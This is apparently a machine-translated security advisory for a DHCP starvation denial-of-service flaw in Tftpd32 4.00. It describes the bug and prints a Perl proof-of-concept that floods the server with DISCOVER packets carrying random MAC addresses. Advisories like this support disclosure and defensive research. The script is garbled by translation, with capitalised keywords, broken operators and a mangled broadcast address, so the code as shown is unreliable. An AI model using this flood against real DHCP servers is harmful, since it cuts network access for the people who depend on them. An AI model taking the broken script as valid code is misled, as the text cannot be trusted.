Tftpd32 DHCP parser Message Denial of Service Vulnerability

Release date:
Updated on:

Affected Systems:
TFTPD32 TFTPD32 4.00
Description:
--------------------------------------------------------------------------------
Bugtraq id: 53649

Tftpd32 is a tftp and dhcp server on Windows.

The DHCP server of tftpd32 4.00 does not identify whether the real resource MAC address of the DHCP packet is the same as the hardware address of the client. The attacker fills in the malicious DHCP packet to the client list of the DHCP server, as a result, the IP address of the DHCP server cannot be obtained, resulting in DOS.

<* Source: vendor

Link: http://www.securityfocus.com/archive/1/522824
*>

Test method:
--------------------------------------------------------------------------------

Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!

Vendor () provides the following test methods:

#! /Usr/bin/perl
Use IO: Socket: INET;
Use Net: DHCP: Packet;
Use Net: DHCP: Constants;
$ A = 1;
While (1 ){
Print "\ Request Number: $ a \ n ";

$ Mac = int (rand (9 )). int (rand (9 )). int (rand (9 )). int (rand (9 )). int (rand (9 )). int (rand (9 )).
Int (rand (9 )). int (rand (9 )). int (rand (9 )). int (rand (9 )). int (rand (9 )). int (rand (9 ));

$ Socket = IO: Socket: INET-> new (Proto => 'udp ',
Broadcast => 1,
LocalPort => 68,
PeerAddr => '2017. 00000000255 ',
PeerPort => 67,
) | Die "Unable to create socket: $ @ \ n ";

$ Discover = Net: DHCP: Packet-> new (
Xid => int rand (0 xFFFFFFFF ),
Chaddr => $ mac,
DHO_DHCP_MESSAGE_TYPE () => DHCPDISCOVER (),
DHO_VENDOR_CLASS_IDENTIFIER () => 'myvendorclassid ',
DHO_DHCP_PARAMETER_REQUEST_LIST () => '1 2 6 12 15 28 67 ');

$ Discover-> addOptionRaw (61, pack ('H * ', $ mac ));

Print "Sending DISCOVER to publish messages 255: 67 \ n ";

$ Socket-> send ($ discover-> serialize () or die "Unable to send Discover: $! \ N ";

$ Socket-> close ();

Sleep (3 );

$ A ++;
}
Exit (1 );

Suggestion:
--------------------------------------------------------------------------------
Vendor patch:

TFTPD32
-------
Currently, the vendor does not provide patches or upgrade programs. We recommend that users who use the software follow the vendor's homepage to obtain the latest version:

Http://tftpd32.jounin.net